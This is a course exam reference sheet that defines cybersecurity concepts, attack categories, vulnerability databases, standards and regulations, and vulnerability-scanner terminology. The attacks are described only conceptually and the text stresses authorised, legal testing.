The Principle of Proportionality states that security measures should be proportionate to the risk — neither more restrictive nor less protective than necessary. The level of protection should match the value of the asset and the severity of the threat.

WHY it matters: Security resources are finite. Proportionality ensures effort and cost are allocated where they reduce actual risk most. GDPR Article 32 requires 'appropriate technical and organisational measures' based on risk, not maximum possible controls.

Connection: Risk assessment (likelihood × impact) is the tool for applying proportionality. CVSS scores help prioritize — a CVSS 9.8 critical vulnerability deserves faster remediation than a CVSS 2.1 low. In penetration testing ethics, proportionality appears as the Non-Harm Principle.

Man-in-the-Middle (MITM)

A Man-in-the-Middle attack occurs when an attacker positions themselves between two communicating parties, intercepting and potentially modifying communications without either party knowing. The attacker can read (confidentiality violation) or alter (integrity violation) all traffic.

WHY it matters: MITM attacks can silently capture credentials, session tokens, sensitive data, and cryptographic material. They can also inject malicious content — changing a downloaded file, injecting JavaScript, or altering a financial transaction.

Examples: ARP poisoning on a local network; rogue WiFi access points (evil twin); SSL stripping; OpenSSL CCS MitM (CVE-2014-0224) where a flaw allowed key material interception.

Connection: Violates both Confidentiality and Integrity. TLS and certificate pinning are the primary defences. STARTTLS injection (CVE-2011-0411) is a MITM against the encryption negotiation phase. WiFi Spoofing / Evil Twin AP is a social-engineering-assisted MITM. SMB signing prevents NTLM Relay (a form of MITM for Windows authentication).

Drive-by Downloads

Drive-by downloads are attacks where malicious software is silently delivered or triggered when a user visits a compromised or malicious website, without any deliberate download action. The attack exploits browser vulnerabilities, plugin flaws (Flash, Java, PDF viewers), or scripting engines.

WHY it matters: They require no user interaction beyond visiting a page — even a brief accidental visit can result in infection. Legitimate websites that are compromised become vectors, so visiting trusted sites provides no guarantee.

Connection: Primarily an Integrity threat (the device is compromised) with potential Confidentiality impact. Related to Malvertising (malicious ads triggering the same mechanism) and Waterholing / Watering Hole attacks (compromising sites known to be visited by a specific target group).

Malvertising

Malvertising is the use of malicious online advertisements to deliver malware or redirect users to malicious content. Attackers inject malicious code into ad networks, so even legitimate websites serving those ads can unknowingly expose visitors to malware. The user need not click — malicious scripts can execute on page load.

WHY it matters: Ad networks reach enormous numbers of users across many reputable sites simultaneously. A single compromised ad network can expose millions of users through sites they trust.

Connection: A delivery mechanism for drive-by downloads. Violates Integrity (via malware infection) and potentially Confidentiality. Ad blockers are a common user-side mitigation.

Rogue Software

Rogue software is malicious, deceptive, or unauthorized software that pretends to be legitimate. The classic example is Fake Antivirus (FakeAV / Scareware) — software that claims to have detected hundreds of viruses and demands payment to remove them. MacDefender is a course example.

WHY it matters: It exploits user trust and fear. Users who believe they have a virus are highly motivated to take immediate action, bypassing their normal scepticism. Once installed, rogue software can steal credentials, show persistent pop-ups, or serve as a dropper for further malware.

Connection: Uses Social Engineering (fear and urgency persuasion technique). Violates all three CIA goals depending on behavior. Related to Trojan Horse (software that appears legitimate but contains hidden malicious function).

Password Attacks (broad category)

Password attacks is an umbrella term covering all techniques aimed at obtaining, guessing, reusing, or abusing credentials. Sub-types: Brute Force (try every combination), Dictionary Attack (try common words/passwords), Rule-Based Mutation, Password Spraying (one common password against many accounts to avoid lockout), Credential Stuffing (use breached username/password pairs from other services), Offline Cracking (extract hashes and crack without network interaction).

WHY it matters: Credentials are the most common target because they provide authorized access — once an attacker has valid credentials they look like a legitimate user. Authentication is the primary barrier between an attacker and everything the account can access.

Connection: Primarily attack Confidentiality and Authentication. Tools: John the Ripper (offline hash cracking), Hydra and Crowbar (online/network brute force). Defences: MFA, lockout policies, rate limiting, strong hashing (Argon2id, bcrypt), long random passwords. Credential Stuffing exploits password reuse across services.

■ SECURITY REPOSITORIES & FRAMEWORKS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

CVE (Common Vulnerabilities and Exposures)

CVE is a publicly maintained dictionary of standardized identifiers for specific, publicly disclosed vulnerability instances. Each entry gets a unique ID in the format CVE-YEAR-NUMBER (e.g., CVE-2017-0144 for EternalBlue, CVE-2014-6271 for Shellshock). Sponsored by CISA, maintained by MITRE.

WHY it matters: CVE provides a shared language for discussing vulnerabilities across organizations, tools, and vendors. When Nessus or GVM reports a vulnerability, it references a CVE ID. Without CVE, different tools and people would have different names for the same flaw — making coordination impossible.

What a CVE entry contains: CVE ID, description of the vulnerability, affected products/versions, references to advisories and patches, and a link to the NVD for full scoring. A CVE is an instance — a specific flaw in a specific product. It does NOT describe a general weakness class (that is CWE's role).

Connection: CVE IDs appear throughout the course labs — CVE-2011-2523 (vsftpd backdoor), CVE-2017-0144 (EternalBlue/MS17-010), CVE-2021-44228 (Log4Shell), CVE-2014-6271 (Shellshock). Metasploit module names often reference CVEs directly. Key distinction: CVE = specific instance; CWE = weakness category or class.

CWE (Common Weakness Enumeration)

CWE is a community-developed catalogue of software and hardware weakness types — recurring patterns of design, implementation, or configuration flaws that lead to vulnerabilities. Where CVE identifies a specific vulnerable product/version, CWE categorizes the type of weakness. Examples: CWE-89 (SQL Injection), CWE-79 (XSS), CWE-120 (Buffer Overflow), CWE-287 (Improper Authentication). Maintained by MITRE.

WHY it matters: CWE enables root-cause analysis. Instead of patching each individual CVE, understanding the CWE lets you fix the underlying weakness pattern — implementing parameterized queries everywhere eliminates an entire class of SQLi vulnerabilities, not just one instance.

CWE Top 25: CWE publishes an annual list of the most dangerous software weaknesses — consistently features Out-of-Bounds Write, SQL Injection, Cross-Site Scripting, and Improper Authentication.

Connection: CVE vs CWE is a classic exam distinction — CVE is a specific vulnerability instance; CWE is a general weakness class. A given CVE will typically map to a CWE (e.g., CVE-2017-0144 maps to CWE-119, Improper Restriction of Operations within Buffer Bounds). OWASP Top 10 categories map to CWEs.

MITRE ATT&CK; Framework

MITRE ATT&CK; (Adversarial Tactics, Techniques, and Common Knowledge) is a globally accessible knowledge base of real-world adversary tactics and techniques observed in actual attacks. Organizes attacker behavior into Tactics (the 'why' — the goal of a step) and Techniques (the 'how' — the specific method used). Available at attack.mitre.org.

WHY it matters: ATT&CK; lets defenders think like attackers in a structured, evidence-based way. Used for threat hunting, detection engineering, red team planning, and security control gap analysis.

Tactics (14 stages): Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command & Control, Exfiltration, Impact. Each tactic has multiple named techniques.

Connection: ATT&CK; is listed as an attack library for threat modeling — use it to inspire threat searches. It complements STRIDE: STRIDE asks 'what category of threat is this?'; ATT&CK; asks 'how would a real attacker actually do it?' SIEM rules and XDR detections are often mapped to ATT&CK; technique IDs.

OWASP (Open Worldwide Application Security Project)

OWASP is a nonprofit foundation that produces free, open application security guidance, tools, testing resources, and community projects. Best known for the OWASP Top 10 — a regularly updated list of the ten most critical web application security risks. Also produces OWASP ZAP (web scanner), OWASP Testing Guide, and ASVS. All freely available at owasp.org.

WHY it matters: Web applications are one of the most attacked surfaces in modern infrastructure. OWASP Top 10 provides a prioritized, consensus-based list of risks developers and testers should address first. Referenced in security standards, compliance frameworks, and hiring criteria worldwide.

OWASP Top 10 (2021): Broken Access Control (A01), Cryptographic Failures (A02), Injection incl. SQLi (A03), Insecure Design (A04), Security Misconfiguration (A05), Vulnerable and Outdated Components (A06), Identification and Authentication Failures (A07), Software and Data Integrity Failures (A08), Security Logging and Monitoring Failures (A09), Server-Side Request Forgery (A10).

Connection: OWASP is listed as an attack library for threat modeling. OWASP ZAP is a practical web scanning tool used in labs alongside Burp Suite. DVWA and Mutillidae (both on Metasploitable 2) are training platforms for practicing OWASP Top 10 attacks. A WAF is specifically designed to defend against OWASP Top 10 attacks.

CVE Details

CVE Details (cvedetails.com) is a third-party website that aggregates CVE vulnerability data from NVD and other sources into a searchable, browsable interface. It allows filtering by vendor, product, year, CVSS score, and vulnerability type, and presents statistics, charts, and trending data about vulnerabilities over time.

WHY it matters: NVD (the authoritative source) can be harder to browse for exploration and trend analysis. CVE Details makes it easier to ask questions like 'How many critical vulnerabilities did Microsoft Windows have in 2023?' — useful for research, risk context, and learning.

Important caveat: CVE Details is a convenience aggregator, not the authoritative source. For any important decision — whether a system is actually vulnerable, whether a patch exists — always verify against the vendor advisory or the official NVD record (nvd.nist.gov).

Connection: Used alongside NVD and the Exploit Database for vulnerability research. Helpful for exploring CVE history and the landscape of vulnerabilities in specific technologies encountered in the course labs.

Exploit Database

The Exploit Database (exploit-db.com) is a public archive of exploits and vulnerable software maintained by Offensive Security (the organization behind Kali Linux). Contains proof-of-concept code, working exploit scripts, and vulnerability write-ups. Also powers the searchsploit command-line tool available in Kali Linux.

WHY it matters: For authorized testing and research, lets you find existing exploit code for known vulnerabilities. From a defensive perspective, when a new vulnerability appears on exploit-db, defenders know public exploit code exists and the urgency of patching increases dramatically.

Important legal/ethical note: The existence of exploit code in a public database does NOT grant permission to use it. Using an exploit against a system you do not own or have explicit written permission to test is illegal in virtually every jurisdiction.

Connection: Used in threat modeling as an attack library — use it to understand exposure and validate what is realistically exploitable. Metasploit modules often correspond to exploits originally published on exploit-db. searchsploit searches a local offline copy (useful in isolated lab environments). Key distinction: CVE = identifier; Exploit Database = the actual exploit code.

NIST (National Institute of Standards and Technology)

NIST is a US federal agency under the Department of Commerce that develops standards, guidelines, and best practices for measurement and technology, including an extensive cybersecurity and privacy portfolio. Key outputs: NIST Cybersecurity Framework (CSF), NIST SP 800-53 (security and privacy controls), NIST Privacy Framework, and NISTIR 7298 (glossary of key information security terms — the source of the course's official cybersecurity definition).

WHY it matters: NIST publications are the most widely referenced cybersecurity standards in the world outside of ISO. US federal agencies are legally required to follow many NIST guidelines. NIST's definitions and frameworks create a common technical language used across government, industry, academia, and vendor products.

Key publications in context: NISTIR 7298 Rev. 3 is the source of the formal cybersecurity definition used in the course. NIST SP 800-53 provides a comprehensive catalog of security and privacy controls. The NIST Privacy Framework (2020) has five functions: Identify-P, Govern-P, Control-P, Communicate-P, Protect-P.

Connection: NIST coordinated the AES standardization process (FIPS PUB 197, 2002) and currently runs the NIST Multi-Party Threshold Cryptography project. NIST's CVSS scoring is used by Nessus and OpenVAS/GVM. NIST runs the NVD and coordinates CVE scoring.

ISOC (Internet Society)

The Internet Society (ISOC) is an international nonprofit organization founded in 1992 that supports the open development, evolution, and use of the internet. It provides the organizational home to the Internet Engineering Task Force (IETF) and Internet Architecture Board (IAB) — the bodies that develop and publish the technical standards (RFCs) defining how the internet works, including TCP/IP, TLS, DNS, SMTP, and essentially every foundational protocol in the course.

WHY it matters: The internet's technical security properties are largely defined by IETF standards. TLS (which protects web traffic), DNSSEC (which secures DNS), SPF/DKIM/DMARC (which authenticate email), and IPsec (which secures VPN tunnels) are all IETF RFCs developed under the ISOC umbrella.

Connection: In the standards landscape, ISOC/IETF sits at the internet protocol layer. NIST handles US government standards; ISO handles international management standards; ITU-T handles telecommunications standards. ISOC's open standards are the foundation on which all the network-layer concepts in the course are built.

ITU-T (International Telecommunication Union)

The ITU-T (Telecommunication Standardization Sector of the International Telecommunication Union) is the UN agency responsible for developing international telecommunications standards and recommendations. It covers standards for telephone networks, broadband, signaling systems, and network security. Established in 1865, it is one of the oldest international standards bodies.

WHY it matters: ITU-T standards underpin global telecommunications infrastructure. For cybersecurity, ITU-T has produced recommendations on network security architecture, identity management, and cybersecurity guidelines providing the framework for how national telecom networks and their security requirements are standardized internationally.

Connection: In the course, ITU-T is part of the four major standards organizations (NIST, ISOC, ITU-T, ISO). The key lesson is that cybersecurity operates within an international standards ecosystem, and understanding where standards come from helps you understand the authority and scope behind them.

ISO (International Organization for Standardization)

ISO is an independent international standards organization with 167 member bodies. It develops and publishes international standards across virtually every industry, including information security. The most relevant standard for cybersecurity is ISO/IEC 27001 (Information Security Management System — ISMS), which defines requirements for establishing, implementing, maintaining, and continuously improving an information security management system. ISO/IEC 27002 is the accompanying code of practice.

WHY it matters: ISO/IEC 27001 certification is the internationally recognized standard for organizational information security maturity. Organizations that handle sensitive data are often required to achieve ISO 27001 certification. It provides a systematic, auditable approach to managing information security risk — complementing technical controls with governance, policy, and process.

Connection: ISO sits at the organizational/management layer of security, while NIST, IETF, and ITU-T operate more at the technical/protocol layer. For the exam: ISO (ISO/IEC 27001) is the management system standard; NIST SP 800-53 is the US government controls standard — both serve similar governance purposes in different contexts.

GDPR (General Data Protection Regulation)

The GDPR (Regulation (EU) 2016/679) is the European Union's comprehensive data protection and privacy regulation, in force since May 25, 2018. It governs how personal data about EU/EEA residents is collected, processed, stored, and transferred. Applies to any organization worldwide that processes personal data of EU residents (extraterritorial scope). Fines up to €20 million or 4% of global annual turnover, whichever is higher.

WHY it matters for cybersecurity: GDPR Article 32 requires data controllers and processors to implement 'appropriate technical and organisational measures' to ensure security appropriate to the risk — explicitly mentioning pseudonymization, encryption, confidentiality, integrity, availability, resilience, and regular testing. A data breach must be reported to the supervisory authority within 72 hours (Article 33). Security is a legal obligation, not just a best practice.

Key GDPR concepts relevant to security: Six legal bases for processing (Article 6); Seven processing principles (Article 5): lawfulness/fairness/transparency, purpose limitation, data minimization, accuracy, storage limitation, integrity and confidentiality, accountability; DPIA (Article 35) for high-risk processing; 10 data subject rights.

Connection: The Cambridge Analytica scandal is the course's case study for GDPR violations. GDPR Article 5(1)(f) (integrity and confidentiality) maps directly to CIA. The 72-hour breach notification rule drives the need for proper Incident Response procedures. Privacy-by-Design is both a GDPR concept (Article 25) and a software engineering principle. At time of lecturing, some GDPR aspects are being renegotiated via the EU Digital Omnibus.

HIPAA (Health Insurance Portability and Accountability Act)

HIPAA is a US federal law enacted in 1996 that establishes national standards for the protection of sensitive patient health information (PHI). Its Security Rule requires covered entities (healthcare providers, health plans, clearinghouses) and their business associates to implement administrative, physical, and technical safeguards for electronic PHI (ePHI). Technical safeguards include access controls, audit controls, integrity controls, and transmission security (encryption).

WHY it matters: Healthcare data is among the most sensitive personal data that exists — it affects insurance, employment, relationships, and personal dignity. Healthcare organizations are major cyberattack targets because the data is highly valuable on dark web markets and organizations often run legacy systems.

Connection: HIPAA and GDPR are presented together in the course as examples of sector-specific or jurisdiction-specific legal obligations that impose security requirements on organizations. The key lesson: cybersecurity work does not happen in a legal vacuum. HIPAA's technical safeguard requirements map directly onto CIA Triad controls.

EU NIS2 Directive

NIS2 (Directive (EU) 2022/2555) is the EU's updated cybersecurity directive, in force since January 2023 (national transposition required by October 2024). It replaces the original NIS Directive (2016) and significantly expands scope, obligations, and enforcement. Covers 'essential entities' (energy, transport, health, water, digital infrastructure, banking) and 'important entities' (postal services, waste management, chemicals, food, manufacturing, digital providers, research).

WHY it matters: NIS2 legally requires covered organizations to implement cybersecurity risk-management measures including: risk analysis policies; incident handling; business continuity; supply chain security; effectiveness assessment (which can include penetration testing); cyber hygiene and training; use of cryptography; and access control with MFA.

Important nuance: The Directive does not mandate a specific penetration testing schedule for every organization. NIS2 requires risk-appropriate measures and effectiveness assessment — penetration testing is one valid way to achieve this. The course slide states: 'The EU NIS2 Directive legally requires certain organizations to conduct penetration testing across member states.'

Connection: NIS2 is the legal justification for penetration testing as a professional practice in the EU context. NIS2 complements GDPR: GDPR focuses on data protection and privacy; NIS2 focuses on network and information system security. Together they define the EU's cybersecurity legal framework.

OMB Circular A-130

OMB Circular A-130 ('Managing Information as a Strategic Resource') is a US Office of Management and Budget policy document that governs how US federal agencies manage federal information resources, including information security and privacy responsibilities. Significantly revised in 2016 to align with NIST frameworks and modern cloud/mobile environments. Requires federal agencies to implement NIST security and privacy controls, conduct risk assessments, manage systems throughout their lifecycle, and protect PII.

WHY it matters: OMB A-130 is the policy framework that makes NIST standards mandatory for US federal agencies. It operationalizes the Federal Information Security Modernization Act (FISMA) and establishes that privacy and security are complementary, not competing.

Connection: In the course, OMB A-130 appears alongside the Computer Security Act as part of the US legal/regulatory context. The key lesson is that different jurisdictions have different legal frameworks — GDPR in the EU, HIPAA for US healthcare, OMB A-130 for US federal government — but all share the underlying principle that organizations have legal obligations to implement security controls.

Computer Security Act of 1987 & 1992

The Computer Security Act of 1987 was a landmark US federal law that established the requirement for federal agencies to develop security plans and provide security training for systems containing sensitive information. It

assigned NIST responsibility for developing security standards and guidelines for federal computer systems (excluding national security systems, which remained under NSA purview).

WHY it matters: The Computer Security Act established the principle — now taken for granted — that government computer systems require formal security planning, training, and accountability. It created NIST's role in civilian federal cybersecurity, which continues today through the SP 800-series publications, NIST CSF, and NVD.

Connection: Historical context for the development of US cybersecurity governance. It led directly to FISMA (2002, 2014) and the current NIST SP 800-53 controls framework. In the course, it illustrates that cybersecurity regulation has a decades-long history, even if the technical landscape has changed enormously.

CAPEC (Common Attack Pattern Enumeration and Classification)

CAPEC is a publicly available dictionary of attack patterns — descriptions of common methods attackers use to exploit software vulnerabilities. Where CVE catalogs specific vulnerability instances and CWE catalogs weakness types, CAPEC catalogs attack patterns: how attackers approach and exploit weaknesses. Each CAPEC entry includes an attack mechanism, prerequisites, steps, examples, related CWEs, and potential mitigations. Maintained by MITRE.

WHY it matters: CAPEC gives defenders and threat modelers a structured way to think about how attacks happen, not just what is vulnerable. It bridges the gap between 'this system has a SQL injection weakness (CWE-89)' and 'here is how an attacker would actually exploit it step-by-step (CAPEC-66).' Directly useful in threat modeling and in writing abuse cases.

Connection: CAPEC is listed as an attack library for threat modeling — alongside OWASP, CVE, NVD, CMU Vulnerability Notes, and the Exploit Database. CAPEC connects upward to MITRE ATT&CK; (tactical patterns) and downward to CWE (weakness types). Use CAPEC when building attack trees or threat models to ensure you have considered realistic, documented attack approaches.

NVD (NIST National Vulnerability Database)

The NVD is the US government's official repository of standards-based vulnerability management data, built on and synchronized with the CVE list. Maintained by NIST. While CVE provides the identifier and basic description, NVD enriches each CVE with: CVSS scores (v2 and v3), Common Platform Enumeration (CPE) data (which products are affected), CWE mapping, fix availability information, and additional references. Available at nvd.nist.gov.

WHY it matters: NVD is the single most authoritative source for vulnerability details, severity scoring, and affected product information. When a vulnerability scanner reports a CVE, the detailed scoring, affected versions, and patch guidance come from NVD data. It is the canonical reference that security teams and compliance systems use to prioritize vulnerability remediation.

CVSS scoring in NVD: Each CVE has a CVSSv3 Base Score from 0.0 to 10.0 — Critical (9.0–10.0), High (7.0–8.9), Medium (4.0–6.9), Low (0.1–3.9). The score incorporates Attack Vector, Attack Complexity, Privileges Required, User Interaction, Scope, and CIA impact.

Connection: NVD is the authoritative back-end that Nessus, OpenVAS/GVM, and other scanners use when assigning severity to findings. CVE Details aggregates NVD data into a more explorable interface. The NVD URL nvd.nist.gov/vuln is mentioned in the course slides as the vulnerability description source alongside exploit-db.

TryHackMe

TryHackMe (tryhackme.com) is an online cybersecurity training platform that provides guided, browser-based learning paths and CTF (Capture the Flag) style challenges covering topics from beginner to advanced: networking, Linux, web security, penetration testing, cryptography, reverse engineering, and more. Labs run in virtual machines accessible directly from the browser, requiring no local setup.

WHY it matters: Cybersecurity is a practical discipline — reading about vulnerabilities is not enough, you need to practice exploiting and defending them in safe, legal environments. TryHackMe is specifically designed for beginners and intermediate learners, with structured learning paths that build skills progressively. The 'legal, isolated environment' principle central to the course applies here.

Connection: Listed alongside Hack The Box and OverTheWire as online training platforms. TryHackMe is more guided and beginner-friendly (step-by-step rooms with hints); Hack The Box is more challenge-oriented and requires more self-direction; OverTheWire focuses on wargame-style command-line challenges. All three provide the ethical, authorized environment the course emphasizes for practicing security skills.

Hack The Box

Hack The Box (hackthebox.com) is an online cybersecurity training platform that provides intentionally vulnerable virtual machines ('boxes') and challenge environments for security professionals and learners. It is well known in the security community as a prestigious skill-building and certification platform. Challenges range from 'Easy' to 'Insane' difficulty. Users must compromise machines to capture flags — the root flag proves full system compromise.

WHY it matters: Hack The Box develops real, practical penetration testing and CTF skills in a legal, authorized environment. Successfully rooting HTB machines is considered strong evidence of technical competency in the security job market. The skills practiced — reconnaissance, enumeration, exploitation, privilege escalation — directly map to the concepts in this course.

Connection: More challenge-oriented and less guided than TryHackMe, suitable for more advanced practice after building foundational skills. The tools used on HTB machines (Nmap, Metasploit, Burp Suite, John the Ripper, netcat) are the same tools covered in the course labs.

OverTheWire

OverTheWire (overthewire.org) is a free online wargame platform focused on teaching and practicing security concepts through command-line challenges. Its most popular wargame is 'Bandit', which teaches fundamental Linux skills (navigating the filesystem, reading files, using SSH, working with pipes and redirects) that are prerequisites for nearly all other security work. More advanced wargames cover cryptography, exploitation, and web security.

WHY it matters: OverTheWire is the best starting point for learners with limited Linux experience. Since almost all real-world security work (penetration testing, incident response, vulnerability assessment) involves Linux command-line tools, building comfort with the shell is foundational.

Connection: Listed alongside TryHackMe and Hack The Box. OverTheWire is the most beginner-focused of the three, specializing in foundational Linux and command-line skills. The Linux commands in the course (pwd, touch, vi, cp, mv, rm, grep, ip address, netstat, etc.) align with the skills OverTheWire teaches. Recommended progression: OverTheWire Bandit → TryHackMe beginner paths → Hack The Box easy machines.

■ VULNERABILITY SCANNERS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

Rules of Engagement

Rules of Engagement (RoE) are the formally agreed, written boundaries and permissions that govern a penetration test or security assessment before it begins. They define exactly what is in scope (which systems, IP ranges, URLs, services may be tested), what is out of scope (systems that must not be touched), what testing techniques are permitted or forbidden, the timeframe during which testing is allowed, who must be notified and when, how findings are to be reported, and what to do if critical severity issues are discovered mid-test.

WHY it matters: Without RoE, a penetration tester has no legal protection — testing systems without explicit written permission is a criminal offence in virtually every jurisdiction. RoE transforms an action that would otherwise be illegal hacking into an authorised professional service. They also protect the client organisation by preventing accidental disruption of production systems and ensuring the test stays focused on agreed targets.

Connection: RoE sit at the intersection of legal, ethical, and operational concerns in penetration testing. They operationalise the Scope Containment, Non-Harm Principle, Data Minimisation, Evidence Protection, and Cleanup concepts. They appear in both the Vulnerability Scanners context (where they define the scope of an automated scan) and the Penetration Testing Concepts section (where they govern the full engagement). In Kant's Categorical Imperative framing, RoE represent the contractual articulation of the ethical constraints under which testing proceeds.

False Positive

A false positive occurs when a vulnerability scanner (or IDS/IPS) reports a vulnerability or alert that does not actually exist on the target system. The tool flags something as a problem, but manual investigation shows the system is not vulnerable — the finding is incorrect.

WHY it matters: False positives waste analyst time, erode trust in scanner output, and can lead to unnecessary remediation effort. A scan that produces hundreds of false positives becomes noise — security teams start ignoring findings, which is dangerous. High false positive rates are a key weakness of unauthenticated scans, which cannot verify internal system state.

Examples: A scanner detects a version banner that suggests a vulnerable version of Apache, but the administrator has already backported the security fix without updating the version string. The vulnerability is patched but the scanner cannot tell from the outside. Or an IDS fires on a packet that looks like a SYN flood but is actually legitimate burst traffic.

Connection: Directly related to Coverage Gap and Context Gap — false positives often arise because the scanner lacks the context (credentials, internal knowledge) to verify findings. QoD (Quality of Detection) in GVM/OpenVAS is a metric specifically designed to reduce false positives by scoring the confidence of each finding. Authenticated scans produce far fewer false positives because they can verify actual package versions and patch states rather than inferring from banners.

False Negative

A false negative occurs when a vulnerability scanner fails to detect a vulnerability that genuinely exists. The scan comes back clean, but the system is actually vulnerable — the finding is a missed detection.

WHY it matters: False negatives are arguably more dangerous than false positives. A false positive wastes time; a false negative creates a false sense of security. A sysadmin who believes a system is clean because the scan showed no issues may deprioritise it, leaving a real vulnerability unaddressed. This is the more insidious scanner limitation.

Examples: A local privilege escalation vulnerability exists in an installed package, but the unauthenticated scanner cannot see installed packages — it only sees open ports. The vulnerability is invisible from the

network. Or a custom web application has a SQL injection flaw that generic web scanning signatures do not match.

Connection: False negatives are the primary motivation for authenticated (credentialed) scans, which can examine the system from the inside and detect vulnerabilities that are invisible from the network. Coverage Gap and Context Gap both explain mechanisms by which false negatives arise. A zero-day vulnerability will always be a false negative since no scanner has a signature for it yet.

Coverage Gap

A coverage gap is a class of vulnerabilities or system components that a scanner simply cannot check — not because of a configuration choice, but because the scanner's technology or approach fundamentally cannot reach or examine that surface.

WHY it matters: Every scanning tool has inherent blind spots. Understanding those blind spots prevents you from assuming that a clean scan result means a clean system. Coverage gaps explain a major source of false negatives.

Examples of coverage gaps: An unauthenticated network scanner cannot see locally installed packages with known CVEs, because those packages are not network-exposed services. A web application scanner cannot find logic flaws in business logic because it only tests known vulnerability patterns. A static analysis tool cannot find runtime race conditions. A vulnerability scanner with no SSL/TLS scanning module cannot find weak cipher suites.

Connection: Coverage Gap is closely paired with Context Gap — together they explain why no single tool provides complete assurance. Authenticated scans directly close many coverage gaps by allowing the scanner to examine internal system state. Penetration testing (especially manual testing) exists partly to cover gaps that automated scanners cannot address. In the IDS/IPS context, coverage gaps explain why signature-based detection misses novel attacks (zero-days).

Context Gap

A context gap occurs when a scanner has the technical ability to detect a potential vulnerability but lacks the contextual information needed to determine whether it is actually exploitable or relevant in this specific environment.

WHY it matters: Vulnerability scanners operate with generic knowledge. They know that version X of software Y has a known flaw. But they do not know that this particular deployment has a compensating control, a network-layer firewall that blocks the attack vector, or a configuration option that disables the vulnerable feature. This lack of context produces both false positives (scanner flags it as vulnerable when the compensating control makes it unexploitable) and false negatives (scanner does not recognise a custom configuration as vulnerable).

Examples: A scanner detects OpenSSL 1.0.1 and flags Heartbleed (CVE-2014-0160), but does not know the server's heartbeat extension was compiled out. Or a scanner flags an open RDP port as high-risk but cannot know that it is protected by a network-level authentication layer that prevents unauthenticated access.

Connection: Context Gap explains why automated scanning must be complemented by human judgement and why penetration testers manually verify scanner findings before reporting. Authenticated scans reduce context gaps by providing richer system state information. CVSS scores (particularly environmental and temporal metrics) are an attempt to adjust for context, but the base score is still context-free.

Authenticated Scan (Credentialed Scan)

An authenticated scan (also called a credentialed scan) is a vulnerability scan where the scanner is provided with valid credentials (username/password, SSH key, Windows domain account) that allow it to log into each target system and inspect its internal state directly — examining installed package versions, configuration files, registry settings, running services, patch levels, and local user accounts.

WHY it matters: Authenticated scans produce dramatically more accurate and complete results than unauthenticated scans. They can see vulnerabilities that have no network-visible footprint — local privilege escalation bugs, unpatched packages, weak local configurations, end-of-life software, and misconfigurations

in internal services. They also produce fewer false positives because they can verify actual patch states rather than inferring from banners.

How it works in practice (Nessus/GVM): The scanner is given SSH credentials (Linux) or a Windows domain account (Windows). For each target, it authenticates, runs a set of local checks, reads package databases (dpkg, rpm), checks registry keys, and compares findings against the NVD/CVE database. Results are enriched with confirmed CVEs mapped to installed package versions.

Connection: Directly solves many Coverage Gaps and Context Gaps present in unauthenticated scans. Requires careful handling of credentials (they must be kept secure, used only for authorised scanning, and revoked after the engagement — this is part of the Rules of Engagement and Data Minimisation obligations). In the lab, Nessus and GVM/OpenVAS both support credentialed scanning. Contrast with Unauthenticated Scan.

Unauthenticated Scan

An unauthenticated scan is a vulnerability scan conducted without providing credentials to the target systems. The scanner can only observe what is visible from the network — open ports, service banners, HTTP responses, SSL/TLS configurations, and responses to crafted probe packets. It cannot see inside the system.

WHY it matters: Unauthenticated scans represent the attacker's-eye view of the target — they reveal what an external attacker with no credentials would see. They are faster to run, require no credential management, and do not require cooperation from system owners beyond permission to scan. For an initial reconnaissance phase or for assessing internet-exposed attack surface, they are practical.

Limitations: Unauthenticated scans produce more false positives (version inferences from banners) and more false negatives (locally-exploitable CVEs not visible from the network). They can miss EOL software, unpatched local packages, weak SSH keys, and misconfigurations that have no network signature.

Connection: Contrasts with Authenticated Scan. The QoD (Quality of Detection) in GVM helps communicate confidence levels even for unauthenticated findings. Unauthenticated scans are the standard for external assessments and for simulating what an attacker without credentials would find. In the lab context (Nessus scanning Metasploitable 2 from Kali), the default approach is unauthenticated unless credentials are explicitly configured.

CVSS (Common Vulnerability Scoring System)

CVSS is the industry-standard framework for rating the severity of software vulnerabilities on a numeric scale from 0.0 to 10.0. It provides a structured, reproducible method for assessing how severe a vulnerability is, enabling organisations to prioritise remediation effort. CVSS scores are assigned to CVEs and published in the NVD. The current version is CVSSv3.1 (v4.0 is also published but less widely adopted).

Score bands: Critical 9.0–10.0, High 7.0–8.9, Medium 4.0–6.9, Low 0.1–3.9, None 0.0.

CVSSv3 Base Score components: Attack Vector (AV): Network / Adjacent / Local / Physical — how remotely can the attack be launched? Network = highest severity. Attack Complexity (AC): Low / High — how much preparation does the attack require? Privileges Required (PR): None / Low / High — what level of access does the attacker need before exploiting? User Interaction (UI): None / Required — does the attack require a victim to take action? Scope (S): Unchanged / Changed — does exploitation affect resources beyond the vulnerable component? Confidentiality Impact (C), Integrity Impact (I), Availability Impact (A): None / Low / High — CIA Triad impact.

Beyond Base Score: Temporal metrics adjust for exploit maturity and patch availability. Environmental metrics allow organisations to adjust scores for their specific context (mitigating controls, asset value).

WHY it matters: CVSS provides a common language for severity across organisations, tools, and vendors. When Nessus or GVM report findings, the CVSS score drives prioritisation — Critical findings (9.0+) demand immediate attention. CVSS 10.0 Critical examples from the labs: Log4Shell (CVE-2021-44228), EternalBlue (CVE-2017-0144), Ingreslock backdoor (port 1524).

Connection: CVSS scores come from NVD. CVE Details aggregates and visualises CVSS scores. The DREAD scoring method (Damage, Reproducibility, Exploitability, Affected users, Discoverability) is an

alternative/complementary risk-scoring approach used in threat modeling. CVSS scores feed directly into the Principle of Proportionality — higher CVSS = higher urgency of remediation.

NVT (Network Vulnerability Test)

An NVT (Network Vulnerability Test) is an individual test plugin within the OpenVAS/GVM vulnerability scanner that checks for a specific vulnerability or configuration issue on a target system. Each NVT is analogous to a Nessus plugin — it encodes the logic for detecting one particular vulnerability, misconfiguration, or information-gathering check. GVM ships with tens of thousands of NVTs organised into families (Backdoors, Gain a Shell Remotely, Web Servers, Ubuntu Local Security Checks, etc.).

WHY it matters: NVTs are the atomic units of scanner knowledge. When GVM runs a scan, it selects and executes a set of NVTs against each target. The quality, coverage, and recency of the NVT library directly determines what the scanner can and cannot detect. NVTs are regularly updated as new CVEs are published, so keeping the scanner's feed updated is essential.

NVT metadata: Each NVT has a name, description, CVSS score, CVE references, and a QoD (Quality of Detection) score indicating confidence. Filtering by minimum QoD (e.g. 70%) reduces false positives.

